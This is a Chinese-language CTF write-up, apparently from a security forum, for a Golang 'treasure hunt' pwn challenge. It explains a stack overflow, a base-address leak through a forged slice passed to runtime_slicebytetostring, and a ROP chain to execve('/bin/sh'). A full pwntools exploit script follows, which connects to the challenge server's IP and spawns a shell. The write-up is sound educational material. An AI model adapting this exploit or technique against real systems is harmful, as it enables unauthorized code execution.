-
-
[原创] CTF2019Q1 第八题 挖宝 writeup
-
2019-3-22 16:14 3688
-
参考
google it: golang pwn
BAMBOOFOX CTF 部分 writeup # infant-gogogo 180
得知:- golang 的 pwn 差不多都是栈溢出 rop
- syscall_Syscall 是栈传参很容易利用
Seccon2017 - Golang Overflow
得知:- golang 的栈地址比较固定(0xC820000000)
- 讲解了如何 pass runtime_slicebytetostring 函数
保护检测
RELRO | STACK CANARY | NX | PIE | FILE |
---|---|---|---|---|
Full RELRO | Canary found | NX enabled | PIE enabled | apwn |
保护全开,google 上的参考还是固定基址比较好做
程序逻辑
使用 IDAGolangHelper 脚本,能够解析 golang 的函数名,比较好分析
- 输入名字(考点:大多数 pwn 题目,名字这个地方都是为了方便你以后填充数据用的)
- make(chan string, 5) ,这个chan 后面协程中用到
- go 了一个协程,这个协程会以很短间隔将 宝藏4 从你身边移动开,每移动一次,向上面的 chan 中输出一条字符串,由于没有地方读取这个 chan,所以随机移动 5次 后就会挂起
- 读取你的输入 w/s/a/d 对应移动(上下左右)
- 调用 walk 移动
- 地图是 6x6,当移动到 (5,0) (5,5) (0,5) 会获取到宝藏123,只有宝藏4是随机坐标,并且会逃跑5次,每得到宝藏后会让你输入 信息 并输出,且信息的缓存都只有 48字节,只是缓存的方式不一样
利用点
- 由于 golang 的题基本都是栈溢出,并且只有 宝藏4 用到了栈,再且 宝藏4 这么难拿,就是它了,先要玩游戏拿到 宝藏4
- 紧接的 runtime_slicebytetostring 函数可以用来输出 程序基址
泄露 程序基址
runtime_slicebytetostring 的 参数是 slice 结构
struct slice { char *data; __int64 len; __int64 cap; };
通过 gdb 尝试得到栈结构
A*192 | slice->data | slice->len | slice->cap | B*72 | ret
我们能够操纵 slice 的成员来打印任何地址,测试的时候发现 len 不能设置很大,所以代码分 2次 分别泄露 输入的名字 和 ret 的地址(walk 返回地址)
syscall 利用
linux 下 syscall 59 是 execve,构造 rop
syscall_Syscall | 0 | 59 | /bin/sh | 0 | 0
完成调用 execve("/bin/sh", NULL, NULL)
代码
from pwn import * import itertools p = remote("211.159.175.39", 8787) # p = process("./trepwn") def move(xd, yd): if xd == 1: m = "d" elif xd == -1: m = "a" elif yd == 1: m = "w" elif yd == -1: m = "s" p.sendline(m) msg = p.recvuntil(">>") if "Treasure 4" in msg: return True elif "Treasure" in msg: # 跳过 宝藏123 p.sendline("skip") p.recvuntil(">>") return False def play(): # 遍历地图 steps = [(1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, 1), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, 1), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, -1), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, -1), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0)] # 通过 cycle 无限遍历地图直到 宝藏4 for xd, yd in itertools.cycle(steps): if move(xd, yd): break # golang 的栈基址 _stack = 0xC820000000 # walk 的 4个 返回偏移,w/s/a/d 4处调用 _rets = [0xD7EE9, 0xd7f48, 0xD7FCF, 0xD8036] # syscall 利用偏移 _syscall_Syscall = 0x186600 import sys def main(): p.sendlineafter("name :\n", "/bin/sh") p.recvuntil(">>") # 玩第一次 泄露 输入的名称 play() # 尝试 0xA000 -> 0xC000 的范围 p.sendline("A"*192 + p64(_stack + 0xA000) + p64(0x2000) + p64(0x2000)) ret = p.recvuntil(">>") idx = ret.find("Your message: ") ret = ret[idx + len("Your message: "):] # _leak_name 为栈中地址 idx_name = ret.index("/bin/sh\0") _leak_name = _stack + 0xA000 + idx_name print hex(_leak_name) # 玩第二次 泄露 返回地址 play() # 尝试 0x41E00 -> 0x44E00 p.sendline("A"*192 + p64(_stack + 0x41E00) + p64(0x3000) + p64(0x3000)) ret = p.recvuntil(">>") idx = ret.find("Your message: ") ret = ret[idx + len("Your message: "):] idx_ret = ret.index("A"*192) idx_ret += 200 + 8 + 80 # 192 + 8*3 + 72 # 返回地址 addr_ret = u64(ret[idx_ret: idx_ret+8]) print hex(addr_ret) # 返回地址有4种,通过后3字节不变的原则来确定基址 for r in _rets: if r&0xFFF == addr_ret&0xfff: base = addr_ret - r break print hex(base) # 最后玩一次输入 rop play() # slice->len 为 0就能跳过 runtime_slicebytetostring p.sendline("A"*200 + p64(0) + "B"*80 + \ p64(base + _syscall_Syscall) + p64(0) + p64(59) + p64(_leak_name) + p64(0) + p64(0)) p.interactive() main()
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
最后于 2019-3-22 16:14
被kkHAIKE编辑
,原因:
赞赏
他的文章
看原图